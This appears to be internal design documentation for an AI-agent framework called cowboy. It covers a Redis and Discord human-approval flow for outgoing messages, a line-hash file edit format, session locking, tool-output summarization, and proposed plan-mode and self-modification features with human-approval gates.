| OutboxService.run() sees
| approval_required = true
| |
| +-- request_approval():
| | HSET approval:{uuid}
| | status: pending
| | source: email
| | channel_id: alice@example.com
| | content_preview: "Sounds good..."
| |
| +-- XADD discord:outbox
| | channel_id: {notify_channel}
| | content: "Approval needed [email]
| | To: alice@example.com
| | Preview: Sounds good...
| | React to approve/reject"
| | approval_id: {uuid}
| |
| 3. ${cfg.name}-discord-outbox reads stream
| OutboxService.send() posts to Discord
| |
| +-- gets discord_message_id from API
| +-- sees approval_id in message fields
| +-- auto-tracks: HSET approval:discord_map
| | {discord_msg_id} -> {uuid}
| | (handled by base class via
| | SendResult.external_id)
| |
| 4. broker sees message in Discord,
| reacts with checkmark
| |
| 5. ${cfg.name}-discord-ingest handles
| on_raw_reaction_add
| |
| +-- calls OutboxService.resolve_approval()
| | HGET approval:discord_map {msg_id}
| | -> finds {uuid}
| | maps emoji -> approved/rejected
| | HSET approval:{uuid}
| | status: approved
| | approver: dylan
| |
| 6. email-outbox was polling via
| wait_for_approval()
| sees status: approved
| |
| +-- OutboxService.send()
| +-- build MIME, DKIM-sign, SMTP send
| +-- XACK email:outbox
| +-- HDEL approval:{uuid}
State Machine
Approval state lives in Redis hashes (not streams). Simple key-value, pollable by any service.
approval:{uuid} = {
status: pending | approved | rejected | expired
source: email | slack | ...
channel_id: destination (email address, slack channel, etc.)
content_preview: first 200 chars of message body
created_at: unix timestamp
approver: user who approved/rejected (set on resolution)
}
Transitions:
pending --+-- approve reaction --> approved --> send + cleanup
+-- reject reaction --> rejected --> discard + notify agent
+-- timeout --> expired --> discard + notify agent
Implementation: cowboy's agent-bridge
The approval protocol is fully implemented in OutboxService (pkgs/agent-bridge/agent_bridge/base.py).
Requesting approval
async def request_approval(self, msg: OutboxMessage) -> bool:
approval_id = str(uuid4())
self.redis.hset(f"approval:{approval_id}", mapping={
"status": "pending",
"source": self.source,
"channel_id": msg.channel_id,
"content_preview": msg.content[:200],
"created_at": str(int(time.time())),
})
self.redis.xadd(f"{self.approval_notify}:outbox", {
"channel_id": self.approval_notify_channel,
"content": f"Approval needed [{self.source}]: ...",
"approval_id": approval_id,
})
return await self.wait_for_approval(approval_id)
Waiting for resolution
async def wait_for_approval(self, approval_id: str) -> bool:
deadline = time.time() + self.approval_timeout
while time.time() < deadline:
status = self.redis.hget(f"approval:{approval_id}", "status")
if status == "approved":
self.redis.delete(f"approval:{approval_id}")
return True
if status in ("rejected", "expired"):
self.redis.delete(f"approval:{approval_id}")
return False
await asyncio.sleep(2)
# Timeout -> mark expired, clean up
self.redis.hset(f"approval:{approval_id}", "status", "expired")
self.redis.delete(f"approval:{approval_id}")
return False
Resolving approval (static, called by ingest services)
@staticmethod
def resolve_approval(r, source, external_id, status, approver=""):
map_key = f"approval:{source}_map"
approval_id = r.hget(map_key, external_id)
if not approval_id:
return False
r.hset(f"approval:{approval_id}", mapping={
"status": status, "approver": approver,
})
r.hdel(map_key, external_id)
return True
Auto-tracking in the main loop
The run() method handles the notification-tracking handshake automatically:
async def run(self):
while True:
messages = self.read_batch()
for msg in messages:
# Messages WITH approval_id are system notifications --
# skip approval for these (they ARE the approval request)
if self.approval_required and not msg.approval_id:
approved = await self.request_approval(msg)
if not approved:
self.ack(msg)
continue
result = await self.send(msg)
if result.ok:
# Auto-track: if this was a notification with approval_id
# and send() returned an external_id, store the mapping
if msg.approval_id and result.external_id:
self.redis.hset(
f"approval:{self.source}_map",
result.external_id,
msg.approval_id,
)
self.ack(msg)
This means bridge service authors (agent-pkgs) only need to:
- Return
SendResult(ok=True, external_id=str(sent_message.id))fromsend() - Call
OutboxService.resolve_approval()in their ingest handler when a reaction/reply arrives
Package Responsibilities
| Concern | Package | Library |
|---|---|---|
request_approval(), wait_for_approval() | agent-bridge | cowboy |
resolve_approval() (static) | agent-bridge | cowboy |
| Approval hash schema | agent-bridge | cowboy |
run() loop with auto-tracking | agent-bridge | cowboy |
approval:discord_map management | discord-service ingest | agent-pkgs |
on_raw_reaction_add handler | discord-service ingest | agent-pkgs |
Return external_id from send() | discord-service outbox | agent-pkgs |
| DKIM sign + SMTP send after approval | email-service outbox | agent-pkgs |
Redis Keys
approval:{uuid} # HASH -- approval state (bridge-owned schema)
approval:{source}_map # HASH -- external_msg_id -> approval_id (per-service)
Bridge writes approval:{uuid} with status: pending.
Notification service stores mapping in approval:{source}_map.
Ingest service resolves by writing status: approved/rejected.
Requesting service polls until resolved.
Discord doesn't know about email. Email doesn't know about Discord. They share only the approval:{uuid} hash key format.
Nix Configuration
Approval options are part of the bridge declaration (nix/agents/bridges.nix):
services.agent.bridges.<name>.approval = {
required = false; # hold for manual approval?
notify = "discord"; # which outbox to route approval requests to
notify_channel = "..."; # channel ID within that outbox
timeout = 3600; # auto-reject after N seconds
};
These flow into sources.json via pubsub.nix and are loaded by OutboxService.__init__() via load_config().
Adding a New Approval Channel
To use something other than Discord for approval responses (e.g. Slack, Telegram):
- The new service's outbox returns
external_idfromsend()(auto-tracked by base class) - The new service's ingest calls
OutboxService.resolve_approval(r, source, ext_id, status, approver) - Set
approval.notify = "{service}"in the bridge config - No changes needed to
agent-bridgeor the requesting service
This is a property of the two-library split: cowboy defines the protocol, agent-pkgs implements the per-platform details.
Hashline Edit Format
Line-hash-referenced file editing in the cowboy WASM plugin. Each line gets a 2-character hex hash (FNV-1a truncated to 8 bits) enabling reliable change detection and edit rejection when files have been modified since last read.
Status
Fully implemented in src/hashline.rs. Integrated as built-in tools (__HASHLINE_READ__, __HASHLINE_EDIT__) with handlers in handlers.rs.
Format
Lines are formatted as {line_num}:{hash}|{content}:
1:a3|fn main() {
2:7f| println!("hello");
3:b2|}
Hash Function
FNV-1a with offset basis 2166136261 and prime 16777619, truncated to lowest byte (hash & 0xff), formatted as 2-char lowercase hex. Deterministic and fast. 256 possible values -- sufficient for change detection, not collision resistance.
Operations
Four edit actions, all referencing lines by line:hash pairs:
- replace: Replace line(s) from
startto optionalendwith new content - insert_before: Insert content before the referenced line
- insert_after: Insert content after the referenced line
- delete: Delete line(s) from
startto optionalend
All line references are validated before any changes are applied. On hash mismatch, the entire edit is rejected with a descriptive error asking the agent to re-read the file.
Operations are sorted in reverse line order before application to preserve line indices.
Additional Features
read_range_with_hashlines(): Read a specific line range with context lines above/belowformat_hashline_with_comment(): Format hashes as inline comments for display, with language-aware comment markers (supports 20+ languages)rolling_hash(): Cross-line hash for detecting multi-line changes- JSON schema helpers for tool definitions (
hashline_read_schema(),hashline_edit_schema()) parse_edit_operations(): Accepts bothoperationsandeditskeys, and bothcontentandnew_textkeys- Atomic writes via temp file + rename
Integration
The harness registers these as built-in tools during initialization. handle_hashline_read() dispatches a sandboxed cat command, then formats the result with hashlines in handle_hashline_read_result(). handle_hashline_edit() calls apply_edits() directly and returns a hashline preview of the edited file.
Concurrency Locking
Session-level locking in the cowboy WASM plugin to prevent race conditions during LLM requests, tool execution, and summarization.
Status
Fully implemented in src/lock.rs. Integrated into the harness main loop, input handling, LLM dispatch, and tool result processing.
Design
Steering does NOT interrupt tool calls. User input queues and processes after the current tool completes. Summarization is gated like the Thinking state. Tool results are matched by unique call_id, not tool_name.
Core Types
SessionLock
Tracks all concurrency state for a session:
llm_active/llm_request_id-- whether an LLM request is in flight, with generation-counter IDs to detect stale responsessummarizing-- whether a summarization call is active (gates user input)active_tools: HashMap<String, ActiveToolState>-- tool executions tracked by uniquecall_idinput_queue: VecDeque<QueuedInput>-- queued user inputs waiting to be processedqueue_mode: QueueMode-- current queuing strategygeneration: u64-- monotonic counter incremented on each LLM acquire
QueueMode
Three modes for handling user input that arrives while the session is locked:
- Collect (default): Coalesce multiple inputs into a single message
- Followup: Process one input at a time after unlock
- Steer: Inject input at the next tool boundary (between tool calls)
ActiveToolState
Per-tool tracking with call_id, tool_name, started_at, and timeout. Supports timeout detection via check_timeouts().
Integration Points
- Input handling (
input.rs): Whensession_lock.is_locked(), user input is queued instead of processed immediately - LLM dispatch (
llm.rs):try_acquire_llm()prevents concurrent LLM requests - Tool execution (
harness.rs):register_tool()on dispatch,complete_tool()on result - Boundary detection (
harness.rs): After tool completion,boundary_reached()checks if queued input should be injected - Summarization gating (
handlers.rs):set_summarizing(true/false)gates input during summarization API calls - Status display (
harness.rs): Lock state shown in the status bar with queued input count
Key Behaviors
is_locked()returns true if any of: LLM active, tools active, summarization activeat_tool_boundary()returns true only when all three are inactivedrain_ready_inputs()respects the current QueueMode- Stale LLM responses are rejected via request ID matching
- Timed-out tools are automatically cleaned up on heartbeat ticks
Result Summarization
Intelligent summarization of large tool outputs in the cowboy WASM plugin. Uses a cheap model (Haiku/GPT-4.1-mini) instead of blunt truncation, with type-aware prompts and fallback truncation.
Status
Fully implemented in src/summarize.rs. Integrated into the harness tool result pipeline and connected to the session lock for input gating during summarization.
Thresholds
DEFAULT_SUMMARIZE_THRESHOLD: 1500 characters (triggers summarization)MAX_SUMMARY_LENGTH: 800 charactersMAX_SUMMARIZABLE_LENGTH: 50000 characters (caps input to summarization model)
Providers
Supports both Anthropic and OpenAI for summarization:
- Anthropic:
claude-haiku-4-5-20251001via Messages API - OpenAI:
gpt-4.1-minivia Chat Completions API
Provider is configurable independently of the main LLM provider. Falls back to main provider if no explicit summary provider is set.
Tool Output Types
Six categories with type-specific summarization prompts and truncation ratios:
| Type | Tool Names | Head Ratio | Prompt Focus |
|---|---|---|---|
| FileContent | read, cat | 0.7 | Structure, hashlines for relevant section |
| SearchResults | grep, rg, search | 0.5 | File paths with line numbers, grouped |
| DirectoryListing | ls, find, fd | 0.3 | Grouped by type, key files |
| CommandOutput | bash, sh | 0.6 | Preserve errors verbatim |
| StructuredData | nix-search, gh | 0.5 | Names, versions, key fields |
| WebContent | web-search, web-fetch | 0.5 | Main facts, relevant quotes |
Code File Handling
For FileContent, the summarization request is sectioned:
- Before section: lines above the relevant range (summarized)
- Relevant section: formatted with hashlines (preserved exactly)
- After section: lines below the relevant range (summarized)
Default relevant range is the middle third of the file.
Pipeline
- Tool result arrives in
handle_command_result() - Full output is always logged to session JSONL (no truncation)
- If
summarizer.needs_summarization()returns true:- Create
PendingSummarywith full output and type - Format API request via
summarizer.format_request() - Set
session_lock.set_summarizing(true)(gates user input) - Fire web request to summarization API
- Create
- On response in
handle_summarization_response():- Release summarization lock
- Parse provider-specific response
- On failure:
fallback_truncate()with type-aware head/tail ratio - Add summarized result to conversation context
Fallback Truncation
When summarization API is unavailable, fallback_truncate() uses smart head/tail splitting:
- Respects line boundaries
- Uses type-specific head ratios (e.g., 70% head for code, 30% for directory listings)
- Inserts
[...N chars omitted...]marker - Safe for UTF-8 (truncates at char boundaries)
title: Plan Mode tags: [plan, mode, readonly, approval] library: cowboy status: future
Plan Mode
Plan Mode is a proposed read-only sub-agent configuration that enables deliberate exploration before committing to actions. Not yet implemented in cowboy.
Concept
A constrained execution mode where the agent:
- Cannot modify state: all write operations disabled
- Produces artifacts:
conscious.md(thinking log) andresponse.md(structured plan) - Requires approval: plans must be explicitly approved before transitioning to execution
- Links to memory: integrates with zk zettelkasten via wikilinks
Relationship to Existing Sub-Agent System
Cowboy already implements sub-agents via the spawn_subagent tool in nix/tools.nix with three types:
| Type | Access | Current Implementation |
|---|---|---|
research | read-only + web | Implemented |
code | read + write | Implemented |
review | read + tests | Implemented |
Plan Mode would be a fourth sub-agent type with approval gates, or a mode flag that restricts the main agent to research-level tools before unlocking full access.
Tool Restrictions
Allowed (Read-Only)
| Tool | Purpose |
|---|---|
read | View file contents |
search | Search within files |
find | Find files by name |
ls | List directory contents |
web-search | Query web via Exa AI |
Blocked
| Tool | Reason |
|---|---|
write | Modifies filesystem |
bash | Arbitrary mutations |
home-switch | System changes |
spawn_subagent (code type) | Write access |
Output Artifacts
conscious.md
Stream of consciousness during planning. Preserved as memory for future sessions.
response.md
Structured, actionable plan:
# Plan: <title>
## Summary
Brief description.
## Steps
1. **Action** - Description
2. **Action** - Description
## Files Affected
- path/to/file.nix
## Risks
- Breaking change to X
Approval Workflow
User Request -> Plan Mode (read-only) -> conscious.md + response.md
-> Review -> Approved -> Execution Mode (full tools)
-> Rejected -> Iterate in Plan Mode
-> Partial -> Approve subset of steps
Integration with cowboy
Where it fits in the two-library split
Plan Mode is a cowboy feature (platform concern, not bridge-specific):
- Mode flag in the harness WASM plugin state
- Tool restriction enforcement in
tools.rs - Approval state machine in
handlers.rs - Nix configuration in
services.agent.planMode
Proposed Nix options
services.agent.planMode = {
requireForDestructive = true; # always plan before home-switch, write to system files
autoApproveThreshold = 3; # auto-approve plans with <= N steps
timeoutSeconds = 300;
};
Configurable agent name
Plan mode artifacts would live at ${cfg.homeDirectory}/plans/ with the agent name in metadata.
Prerequisites
Before implementing Plan Mode:
- zk memory system -- for wikilink integration and plan persistence
- Context manager -- for session state tracking across mode transitions
- Tool restriction enforcement in Rust -- currently tools are defined in Nix but restrictions aren't enforced per-mode in the harness
Why Future (Not Implemented)
The sub-agent system already provides a research (read-only) mode. Plan Mode adds:
- Formal approval workflow with states (pending/approved/rejected/partial)
- CLI commands (
agent plan show,agent plan approve) - Automatic plan generation with structured output format
- Mode transition tracking
These require harness-level Rust changes that haven't been started.
Self-Modification
Design for cowboy agents to modify their own configuration at ~/.config/agent/flake.nix, with safe rollback and PR-gated approval for dangerous changes.
Status
Not implemented. No agent-switch script, generation directory management, config flake self-modification, or PR-gated approval workflow exists in the codebase. The heartbeat mechanism exists in the WASM plugin but serves a different purpose (Zellij timer events for polling).
Concept
The agent maintains a Nix flake as its own configuration. Changes are categorized by risk:
Freely Modifiable (no approval)
- Tools: Add, remove, or update tool definitions
- Skills: Modify skill definitions and prompts
- Scheduled tasks: Add cron-like operations within agent scope
- Working memory/state: Agent state files
PR-Gated (requires human approval)
- Permissions: Network access, filesystem paths, execution capabilities
- Filters: Block patterns, allowed hosts, file size limits
- Core config: Model selection, API endpoints, heartbeat interval, generation depth
- System services: Systemd unit changes
Safe Switch Workflow
- Agent prepares new configuration
- Snapshot current generation to
~/.local/share/agent/generations/ - Start heartbeat monitor with 60-second timeout
- Apply new config via
home-manager switch --flake - Run health check (tools available, skills loaded, filters active)
- Send heartbeat confirmation
- If no heartbeat within 60s: automatic rollback to previous generation
Configuration Inheritance
The agent's flake inherits security-critical settings from the parent cowboy repository. These cannot be overridden locally:
inherit (parent-config.agentConfig)
permissions
filters
core
;
Generation Management
Each config change creates a timestamped generation in ~/.local/share/agent/generations/ with metadata tracking the parent generation, change type, trigger, and confirmation status. Generations are garbage-collected based on configurable retention (keep last N, keep N days, always keep confirmed).
Audit Logging
All switches logged to ~/.local/share/agent/audit.log as structured JSON with events: switch_initiated, switch_confirmed, switch_rolled_back, switch_failed, generation_created/deleted, pr_submitted/approved/rejected.
Rate Limiting
To prevent configuration churn: max 10 switches/hour, 50/day, minimum 60 seconds between switches.
Prerequisites
Implementing this requires:
- A cowboy NixOS module that provisions the agent flake structure
- Integration with the existing
agent-bridgefor PR creation - A health check protocol in the WASM plugin
- Generation directory management tooling